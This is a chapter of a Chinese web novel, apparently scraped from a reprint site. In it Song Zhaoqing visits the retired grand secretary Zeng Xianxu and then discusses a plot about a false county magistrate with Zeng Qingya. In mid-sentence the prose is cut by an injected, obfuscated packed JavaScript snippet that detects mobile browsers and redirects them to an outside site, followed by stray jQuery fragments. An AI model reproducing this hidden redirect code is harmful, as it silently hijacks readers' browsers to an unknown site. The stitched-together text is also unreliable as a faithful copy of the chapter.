79. 曾府
作品:《这官我不做了》 打定主意后,宋昭清就让长平先行到曾府送上帖子,自己下衙后便立刻赶到曾府门前堵曾青崖。
只不过,宋昭清还没等到曾青崖回来,就被人请进了曾府。
曾老爷子要见她。
宋昭清忐忑地跟随着引路的侍从入内,脑中回忆着有关曾老爷子的一切讯息。
她刚入仕没多久曾老爷子就上表致仕了,对这位前内阁首辅着实没什么了解,不过这几年关于曾家的小道消息倒是听了不少。
曾家老爷子曾宪勖(xù)今年70多岁,一生雷厉风行、手眼通天,将自己的儿子曾青崖也送上了高位。但据说,别看现在曾家小辈只有曾青崖一个,其实十几年前曾家也算大家族,曾青崖之上有两位哥哥、三位姐姐,母亲、姨娘俱在。
可就在十五年前,一场不知道从哪来燃起来的大火席卷了曾宅,整个曾家除了曾青崖无一人生还。当时正在宫中议事的曾宪勖听到这消息后就昏了过去,花了不少时间才接受这个消息。帝听闻消息后大恸,特命户部拨钱为曾宪勖重修宅邸,还准许他可以郡王礼制修建。曾宪勖深感帝恩,重重叩首,但在之后重建时并没有花户部一分银两,亦没有违制,整体装修反而比先前的宅邸要更低调许多。
对此,曾宪勖这样向太和帝解释:“户部所管银钱,取自四海,属天下万民共有,修建宅邸是鄙之私事,不可因己之需而妄动万民之财。”
自那天后,曾宪勖就将曾青崖接到自己身边亲自教导,没过多久他就被皇帝看中,许他进上书房与皇子们同授课。再后来,便是曾青崖接受荫职,一步一步走到大理寺,成为朝中人人赞赏的小曾大人。
宋昭清在心中暗暗揣摩着曾宪勖叫她的原因,只是不管如何想都想不出什么头绪,按理说她不可能同曾宪勖扯上关系才对。是曾青崖对他说了什么?还是影六、影九?
百思不得其解间,宋昭清已经被带到了曾宪勖面前。
宋昭清立刻收敛心神,朝曾宪勖行礼。面对这样千年的老狐狸,若不打起十二分精神,恐怕自己今天就要尸骨无存了。
“下官大理寺寺副宋昭清见过曾大人。”
曾宪勖年纪不小了,不管从前多么严肃,至少现在看来像个和蔼的长者。白发苍苍的脸上布满了皱纹,恰到好处的笑意让你既不会因惧怕而退缩,也不会让你真的以为他就是个七十多岁手无寸铁的老头。无论是他说出口的话,还是他举手投足散发出的独属于上位者的气质,都在不断提醒着宋昭清:此人决非善类。
“昭清啊,坐吧。我如今已不在朝上,不必再叫我大人了。”曾宪勖抬眸,笑着唤宋昭清坐下,活像见到孙辈的祖父。
宋昭清乖巧地坐下,低着头等曾宪勖说明来意。
“听下面的人说,你今天递了帖子来?”
“是。”宋昭清拱手恭敬回道:“下官有些公务找少卿大人,在大理寺没见到他人,便想着下衙后来找他。”
“要不说你们年轻人厉害呢,做事仔细周全,充满热情,不错不错。”
宋昭清不解其意,微微垂着头默不作声,等着曾宪勖的下一句话。
“我记得,你是太和二十八年的二甲头名?”
“是。”
“后生可畏呀……”曾宪勖手撑着头,叹了一句,似乎回想起了自己前些年还在朝堂上的时光。“常听闻宋家出了两个惊才绝艳的小辈,青崖在家时也总说大理寺来了个得力的帮手,我真是羡慕得紧,当时该把你要来六部的,不然我现在就用不着这么担心了。”
“大人谬赞了,晚辈不过是做了自己分内之事,需要跟着前辈们学习的地方还多。”曾宪勖留了话口,宋昭清却不敢真顺着他的话问一句:您担心什么?只能挑些无感紧要的话回答。
来回说了这么久,曾宪勖偏不说究竟有什么来意,仿佛真的只是无聊了想找人聊聊天。只是宋昭清并不想聊这天,她实在是坐立难安,心里祈祷着曾青崖赶紧回来救她于水火之中。
说曹操曹操到。
“父亲,韫玉也在?”曾青崖匆匆从外头进来,走得很急,看着是刚下衙就到了这边,额头上渗着一层薄薄的汗,脸颊还泛着微红,似乎是刚跑过。
曾宪勖看见自己儿子来得这么快,好像一点儿也不奇怪,只是话中有话的说了句:“难得见你这么急躁,看来果真有急事要谈。”
“没什么。”曾青崖抬手抓了抓衣领,给自己松了口气,并不多话,而是直接地恭敬说道:“父亲,那我们就先下去议事了。”
说罢,暗中使了个眼色。宋昭清意会,立刻拱手道:“多谢曾大人款待,下官先行告辞。”
“去吧。”
往出走了几步,确定曾宪勖不会再看到自己后,宋昭清才仿佛又活了过来,重重地松了口气。宋昭清看着前面曾青崖的背影,总觉得曾青崖和他父亲曾老爷子之间怪怪的,既不十分恭谨又不热络,实在不像相依为命的父子俩。
不过这话宋昭清是不敢问曾青崖的,兴许是她想错了。
“青崖我今天来是想和你谈谈。”
“你今天怎么突然来这边?”
宋昭清刚想说点什么,结果恰巧曾青崖在此刻回头同她搭话,话音一出两人皆愣了半晌,还是宋昭清率先反应过来抬手说道:“您先说。”
曾青崖不自觉地咳了声,抬手揉了揉太阳穴,说道:“我没有指责你的意思,只是你来怎么没和我提前说一声。”
“我递了帖子的,只是回来这几天怎么都见不到你我才出此下策,难不成你是在躲我?”
曾青崖看着宋昭清直直盯着他的眼神,终究还是敌不过败下阵来,移开了视线。叹道:“我没有躲你,只是这些时日事多比较忙,没时间见你。”
“无妨,那你现在总是有空了吧?我有些话想问你。”宋昭清无意执着于这些事,直截了当说道,自回来之后她有太多太多疑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16538014|185056||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
问想问曾青崖了,能憋到现在才找到已经耗费了她所有的耐性。
宋昭清在曾青崖对面坐下,环顾了遍四周说道:“安全吗?”
曾青崖点了点头,“放心,在这个地方没有人能偷听到你我二人的谈话。”
等到曾青崖坐在对面让她放开问的时候,宋昭清竟一时有些语塞,不知该从何问起了。
她想了想,先说起最近的事情,真诚地道了声谢:“听长平说,京中有关我的流言,是你替我摆平的?谢谢。”
“无妨,举手之劳。况且在这个时候传出这样的流言,那人摆明了是想拿你当靶子,任流言发酵时间长了对你不利。”
“我明白,所以我才更要同你道谢。我在京中好友不多,能处理这件事的更是没有,多亏了你,不然等我回京恐怕就只有死路一条。”
曾青崖摇头:“不必这么说,我引你为知己,你这么说我反而要不好意思了。”
“我果然没看错人。”宋昭清拍了拍曾青崖的肩,笑道:“青崖果然是性情中人。”
“这件事的内情恕我现在还不能同你讲,主要是事情太过复杂,等时机到了我会同你讲的。”宋昭清郑重地看着曾青崖,目光灼灼。
曾青崖还想说些什么,只是在她这样的目光下终究只能说句:“好,我等你。”
“除了这件事以外,另一件才是我这么急着想和你聊聊的主要原因,自我昏迷、回来后一直未曾见到你,”宋昭清握着茶杯的手轻轻摩挲,问道:“青崖,关于这件事,你是什么看法?”
谈到这件事,曾青崖的脸色瞬间沉了下来,一直放松的手掌逐渐收紧、握拳。
“具体的情况林晖都同我讲了,他说你告诉他,长治县的县令不是纪文宇,而是本该丁忧在家的卢豪?”
“是。”宋昭清肯定道,“我看得清清楚楚,绝对没有错。”
“这样一来,事情就复杂了不少。”曾青崖指节无意识地敲击着桌子,分析道:“先前我们认为戚伟诚在乎的是长治县的矿和地势,是想在那里屯私兵。从几次试探来看,虽摸不准他到底养了多少士兵,但偷矿、养私兵的事情都是真的。只是,养兵就养兵,他为什么这么执着于卢豪呢?这个卢豪究竟是何方人士,让戚伟诚这么信任他,敢把这么重要地方交给他。哪怕是杀人替官,这可是欺君之罪。”
宋昭清亦紧皱眉头,说道:“就我们几次交手来看,这卢豪并不像有大本事的人,若非不然,我们也不能从他的追堵下一而再再而三的逃脱。”
“不错。”曾青崖点头,“卢豪身上一定藏着我们不知道的秘密,会是什么呢?”
“会不会戚伟诚看上的根本不是卢豪,而是与卢豪有着密切关系的某人?在他的要求下,卢豪才能当上这个长治县县令?”宋昭清这话一出,又瞬间自我否定道:“可是这卢豪祖父母、父母皆亡,又未成亲,能有谁非要给他铺路。”
“有道理!”